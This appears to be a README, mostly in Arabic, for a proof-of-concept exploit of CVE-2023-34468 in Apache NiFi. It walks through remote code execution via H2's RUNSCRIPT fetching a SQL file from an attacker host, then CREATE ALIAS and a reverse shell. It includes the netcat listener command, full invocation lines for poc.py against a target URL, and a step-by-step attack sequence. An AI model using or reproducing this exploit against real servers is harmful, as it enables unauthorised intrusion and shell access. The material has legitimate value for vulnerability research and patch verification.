
PoC استغلال لـ CVE-2023-34468 — تنفيذ تعليمات برمجية عن بُعد عبر H2 RUNSCRIPT في Apache NiFi <= 1.21.0
تنفيذ تعليمات برمجية عن بُعد عبر H2 Database RUNSCRIPT في Apache NiFi <= 1.21.0
يأتي Apache NiFi مع ملف H2 database JAR مضمّن افتراضيًا. يمكن تهيئة خدمة التحكم DBCPConnectionPool
لاستخدام برنامج تشغيل H2 هذا. يدعم H2 عبارة RUNSCRIPT
التي تجلب ملف SQL من عنوان URL بعيد وتنفّذه. يمكن لملف SQL هذا تعريف
تعليمات Java برمجية عشوائية عبر CREATE ALIAS وتنفيذها على نظام تشغيل الخادم.
سلسلة الهجوم:
DBCPConnectionPool (H2 driver)
→ ExecuteSQL processor
→ RUNSCRIPT FROM http://attacker/rce.sql
→ CREATE ALIAS (Java method)
→ CALL SHELLEXEC (reverse shell)
| Software | Version |
|---|
| Apache NiFi | <= 1.21.0 |
| Fixed in | 1.21.1+ |
| Java | Any (bundled) |
requests → pip install requestspython3 poc.py --target http://NiFi.target.com \
--lhost 10.10.10.10 \
--lport 4444 \
--http-port 80 \
--cleanup
| Argument | Default | Description |
|---|---|---|
--target | http://NiFi.target.com | Target NiFi base URL |
--lhost | 10.10.10.10 | Your IP (tun0) |
--lport | 4444 | Reverse shell listener port |
--http-port | 80 | Port to serve rce.sql |
--cleanup | False | Delete created artifacts after run |
Terminal 1 — listener:
nc -lvnp 4444
Terminal 2 — exploit:
python3 poc.py --target http://NiFi.target.com --lhost 10.10.10.10 --lport 4444 --cleanup
Step 1 Check anonymous access and write permissions
Step 2 Get root Process Group ID
Step 3 Create malicious DBCPConnectionPool controller service
Step 4 Enable the controller service (handles revision versioning)
Step 5 Create ExecuteSQL processor pointing to rce.sql on our HTTP server
Step 6 Start the processor → NiFi fetches rce.sql → shell callback
Step 7 Cleanup (if --cleanup flag is set)